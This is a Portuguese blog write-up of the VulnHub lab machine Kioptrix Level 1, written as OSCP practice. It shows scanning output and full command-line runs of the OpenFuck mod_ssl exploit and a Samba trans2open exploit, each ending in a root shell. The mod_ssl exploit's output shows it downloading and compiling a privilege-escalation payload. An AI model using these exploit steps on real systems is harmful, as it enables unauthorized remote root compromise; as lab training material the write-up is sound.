WriteUp Kioptrix: Level 1

Esse post é o primeiro de uma serie de writeups de box’s que eu estou resolvendo para praticar para a OSCP.  A escolha pela Kioptrix se deu devido a um post que li sobre máquinas do vulmhub que são semelhantes ao exame da OSCP, o post está linkado ali então caso queira conferir é só clicar e ser ownado feliz.

Machine Name: Kioptrix: Level 1 (#1)
Resource: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

Durante a aventura contra não só essa box mas tantas outras do vulnhub é que pelo fato de serem antigas, surgiram novas vulnerabilidades, logo podem ter várias manerias de comprometer o alvo então vou estar documentando as diferentes formas de comprometer quando houver necessidade.

Uma vez que tenha realizado o download da vm, você pode iniciar ela utilizando o VMWarePlayer com a feature de abrir uma máquina virtual e apontando para o arquivo correto, ou converter com ovftool para o formato OVA e importar no VirtualBox, caso tenha problemas com o Vmware.


ovftool pathto.vmx output.ova

Antes de iniciar a VM, certifique-se de configurar a interface de rede em modo bridge e definir a interface de rede que o hospedeiro do host está utilizando para a rede local. Ao iniciar o procedimento de boot a VM deve receber um endereço IPv4 privado através de DHCP da rede.

Reconhecimento.

Para identificar o alvo na sua rede local você pode realizar um ping scan com o nmap da seguinte forma:


$ nmap -sn 172.16.0.0-100
Starting Nmap 7.60 ( https://nmap.org ) at 2019-12-01 11:49 -02
Nmap scan report for 172.16.0.100
Host is up (0.030s latency).
Nmap done: 101 IP addresses (3 hosts up) scanned in 2.06 seconds

Uma vez que o alvo tenha sido identificado podemos iniciar os procedimentos de fingerprint do alvo, para isso podemos utilizar o nmap:


PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1          32768/tcp  status
|_  100024  1          32768/udp  status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2019-11-02T23:10:28+00:00; +1h01m08s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_RC4_64_WITH_MD5
32768/tcp open  status      1 (RPC #100024)
MAC Address: A0:C5:89:EC:EF:AA (Intel Corporate)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_clock-skew: mean: 1h01m07s, deviation: 0s, median: 1h01m07s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)</unknown></unknown>

Analisando o resultado do scan realizado pelo nmap é possível identificar que diversos serviços estão sendo executados no alvo, tais como ssh(22/tcp), http(80/tcp), rpc(111), https(443)  e outros. Utilizando o programa GoBuster para a execução de um ataque de bruteforce  contra aplicação web, que está rodando na porta 80/TCP, com o próposito de identificar diretórios e arquivos na aplicação.

O programa GoBuster foi utilizado GoBuster na versão Docker. É uma preferência pela flexibilidade nos parâmetros onde é possível definir threads, extensões de arquivos, status code e outros detalhes.



Gobuster v1.3                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://172.16.0.100/
[+] Threads      : 30
[+] Wordlist     : /wordlists/big.txt
[+] Status codes : 200,204,403
[+] Extensions   : .php,.conf,.txt
[+] Expanded     : true
=====================================================
http://172.16.0.100/test.php (Status: 200)
=====================================================

Contudo o resultado do procedimento não retornou muitos findings.

ModSSL Exploitation

Com a baixa expectativa de superficie de ataque contra a aplicação web, foi verificado os outros serviços que o alvo está rodando, sendo um deles no serviço HTTPS(443/tcp), foi identificado que o módulo do apache mod_ssl/2.8.4 OpenSSL/0.9.6b) possui falhas públicas e o respectivo exploit para a exploração.


443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

Uma consulta no serviço de busca do exploit-db retornou o seguinte exploit https://www.exploit-db.com/raw/47080. É necessário realizar o download do exploit remoto para a máquina de onde será disparado o ataque, para isso foi utilizado o programa curl.


curl -s  https://www.exploit-db.com/raw/47080 >> OpenFuck.c

Posteriormente é necessário compilar o exploit uma vez que ele é escrito em C e precisa ser compilado para a utilização:


gcc -o OpenFuck OpenFuck.c -lcrypto

Depois de compilado, o ataque foi disparado contra o endereço IPv4 local do alvo, um fato curioso sobre esse exploit é que ele consegue acesso remoto sem autorização/interação e uma vez que o exploit consegue acesso ao alvo com um usuário limitado, no nosso caso o usuário apache(48), o exploit realiza o download de outro exploit(https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c) e executa a elevação de privilégio, entregando uma shell com usuário root(0) para o atacante.

$ ./OpenFuck 0x6b 172.16.0.100 443 -c 50

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8070
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
--01:58:26--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

0K ...                                                   100% @   1.87 MB/s

01:58:31 (1.87 MB/s) - `ptrace-kmod.c' saved [3921/3921]

/usr/bin/ld: cannot open output file exploit: Permission denied
collect2: ld returned 1 exit status
gcc: file path prefix `/usr/bin' never used

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

O exploit obteve exito, a vulnerabilidade permitiu acesso com usuário root(0). Jackpot!

Apenas para dar uma visualizada na operação do exploit selecionado, o trecho de comandos abaixo demonstra que uma vez que o comando exit é inserido na shell, a shell volta para o usuário apache(48) devido a elevação de privilégios executada por um segundo exploit.


id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit
bash-2.05$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-2.05$

SMB Exploitation

Uma segunda maneira que identifiquei para comprometer a box foi através do serviço do SMB.

Reconhecimento.

Na execução do reconhecimento de shares foram adotadas diversas ferramentas como smbclient,enum4linux visando obter a versão do serviço do Samba, porém, os testes para identificação de versão do serviço não obtiveram exito.


$ ./enum4linux.pl -d -o -i -v 172.16.0.100
[V] Dependent program "nmblookup" found in /usr/bin/nmblookup
[V] Dependent program "net" found in /usr/bin/net
[V] Dependent program "rpcclient" found in /usr/bin/rpcclient
[V] Dependent program "smbclient" found in /usr/bin/smbclient
WARNING: polenum.py is not in your path.  Check that package is installed and your PATH is sane.
WARNING: ldapsearch is not in your path.  Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Dec  1 12:34:36 2019

==========================
|    Target Information    |
==========================
Target ........... 172.16.0.100
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

====================================================
|    Enumerating Workgroup/Domain on 172.16.0.100    |
====================================================
[V] Attempting to get domain name with command: nmblookup -A '172.16.0.100'
[+] Got domain/workgroup name: MYGROUP

=====================================
|    Session Check on 172.16.0.100    |
=====================================
[V] Attempting to make null session using command: smbclient -W 'MYGROUP' //'172.16.0.100'/ipc$ -U''%'' -c 'help' 2>&1
[+] Server 172.16.0.100 allows sessions using username '', password ''

===========================================
|    Getting domain SID for 172.16.0.100    |
===========================================
[V] Attempting to get domain SID with command: rpcclient -W 'MYGROUP' -U''%'' 172.16.0.100 -c 'lsaquery' 2>&1
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Domain Name: MYGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

======================================
|    OS information on 172.16.0.100    |
======================================
[V] Attempting to get OS info with command: smbclient -W 'MYGROUP' //'172.16.0.100'/ipc$ -U''%'' -c 'q' 2>&1
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 172.16.0.100 from smbclient:
[V] Attempting to get OS info with command: rpcclient -W 'MYGROUP' -U''%'' -c 'srvinfo' '172.16.0.100' 2>&1
[+] Got OS info for 172.16.0.100 from srvinfo:
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
KIOPTRIX       Wk Sv PrQ Unx NT SNT Samba Server
platform_id     :	500
os version      :	4.5
server type     :	0x9a03

=============================================
|    Getting printer info for 172.16.0.100    |
=============================================
[V] Attempting to get printer info with command: rpcclient -W 'MYGROUP' -U''%'' -c 'enumprinters' '172.16.0.100' 2>&1
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
No printers returned.

enum4linux complete on Sun Dec  1 12:34:37 2019

Foi possível obter boas informações do serviço porém não a versão do mesmo, uma nova tentativa com o Metasploit foi realizada, através do módulo auxiliary/scanner/smb/smb_version:


msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

Name       Current Setting  Required  Description
----       ---------------  --------  -----------
RHOSTS                      yes       The target address range or CIDR identifier
SMBDomain  .                no        The Windows domain to use for authentication
SMBPass                     no        The password for the specified username
SMBUser                     no        The username to authenticate as
THREADS    1                yes       The number of concurrent threads

msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 172.16.0.100
RHOSTS => 172.16.0.100
msf5 auxiliary(scanner/smb/smb_version) > run

[*] 172.16.0.100:139      - Host could not be identified: Unix (Samba 2.2.1a)
[*] 172.16.0.100:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Através do modulo do Metassploit,  possível identificar que a versão do Samba é (2.2.1a), uma busca rápida por exploits públicos permitiu localizar o seguinte exploit https://www.exploit-db.com/exploits/10

É necessário realizar o download do exploit para a máquina qual vai disparar o ataque contra o alvo, para isso foi adotado o comadno wget.


$ wget -q https://www.exploit-db.com/raw/10 -O samba.c

O exploit foi escrito na linguagem C, é necessário compilar o código para obter um executável que irá ser usado para disparar o ataque, para isso foi utilizado o gcc.


$ gcc samba.c -o samba

Posteriormente a compilação do código, o disparo do exploit contra o alvo foi realizado.


$ ./samba  -b 0 172.16.0.100
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
echo $HOSTNAME
kioptrix.level1

A falha do Samba, permitiu que o atacante conseguisse acesso com usuário root(0) de forma remota, sem autenticação ou interação com o usuário.

Conclusão:

Foi um desafio bem  simples de executar, achei bem direto, sem guessing, como no mundo real. Não sei porquẽ ultimamente estou chateado com CTF’s guessing style, então curti bastante a box, simples, direta, técnica.

É isso, em breve mais writeups!

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.